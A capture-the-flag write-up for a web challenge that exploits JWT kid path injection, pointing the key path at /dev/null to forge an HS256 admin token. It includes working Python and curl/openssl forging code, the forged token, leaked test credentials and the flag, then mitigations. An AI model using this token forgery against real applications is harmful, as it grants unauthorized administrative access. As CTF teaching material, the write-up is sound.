← Posts
Stellar Gateway - UniVsThreats26 Quals Web
TL;DR:
Abusing a JWT kid path lookup to /dev/null lets us sign our own admin token with an empty key, unlock the USS Threads Command Center, and capture the flag.
Category: Web
CTF: UniVsThreats26 Quals
Target: http://194.102.62.166:27721/
TL;DR
The server loads the JWT signing key from a file path given in the kid header. Pointing kid to /dev/null makes the key an empty string, so we can sign our own "role": "admin" token with HS256 and grab the flag from /admin → /flag.
Recon
/is a space-themed landing page linking to/login.- Viewing
/loginsource shows two comments:- Base64 troll:
SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ== - Valid test creds:
pilot_001 / S3cret_P1lot_Ag3nt
- Base64 troll:
- Logging in sets a
sessionJWT:
Header:
{"alg":"HS256","typ":"JWT","kid":"galactic-key.key"}
Payload:
{"sub":"pilot_001","role":"crew","iat":1772275634}
/my-account shows role crew with a link to /bridge only; admin likely has more.
Vulnerability — JWT kid Path Injection
- The server treats
kidas a file path for the HMAC key. - Setting
kidto/dev/nullmakes the verifier read an empty key (b""). - We can forge any token by signing with an empty key and the same header.
- Why
/dev/null? On UNIX, reading/dev/nullreturns zero bytes; the HMAC verifier uses that as the secret, so signing withb""matches verification. - The server never validates
kidagainst an allowlist nor strips path separators, so arbitrary file paths are accepted.
Exploit — Forge Admin Token
Python helper to mint an admin token:
import json, base64, hmac, hashlib
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = {"alg": "HS256", "typ": "JWT", "kid": "/dev/null"}
payload = {"sub": "administrator", "role": "admin", "iat": 1772196447}
h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())
sig = hmac.new(b"", f"{h}.{p}".encode(), hashlib.sha256).digest()
token = f"{h}.{p}.{b64url(sig)}"
print(token)
Generated token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9kZXYvbnVsbCJ9.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzcyMTk2NDQ3fQ.yIm9iVdxtj3Wvrm4Gu13283DD6iShM2arlFARSeZVBA
Use it as the session cookie:
curl -s http://194.102.62.166:27721/my-account \
-H "Cookie: session=<forged_token>"
The page now shows Identity: administrator, Clearance: ADMIN, and a COMMAND CENTER button to /admin, which links to /flag.
Minimal curl-only flow (no Python):
h='{"alg":"HS256","typ":"JWT","kid":"/dev/null"}'
p='{"sub":"administrator","role":"admin","iat":1772196447}'
H=$(printf '%s' "$h" | openssl base64 -A | tr '+/' '-_' | tr -d '=')
P=$(printf '%s' "$p" | openssl base64 -A | tr '+/' '-_' | tr -d '=')
S=$(printf '%s' "$H.$P" | openssl dgst -sha256 -mac HMAC -macopt hexkey: | \
awk '{print $2}' | xxd -r -p | openssl base64 -A | tr '+/' '-_' | tr -d '=')
TOKEN="$H.$P.$S"
curl -s http://194.102.62.166:27721/admin -H "Cookie: session=$TOKEN"
Flag
UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}
Why It Works / Mitigations
- JWT libraries let apps supply custom key resolvers via
kid; here the resolver reads files directly from disk using the client-supplied path. - Any path that yields predictable content works (e.g.,
/dev/null→ empty key). If/proc/self/environhad been readable, that could leak secrets instead. - Fixes:
- Map
kidto keys via an allowlist (dict) instead of file paths. - Reject
kidcontaining slashes or... - Use asymmetric JWTs (RS256/ES256) with public-key verification and rotate keys via KMS, not filesystem paths.
- Map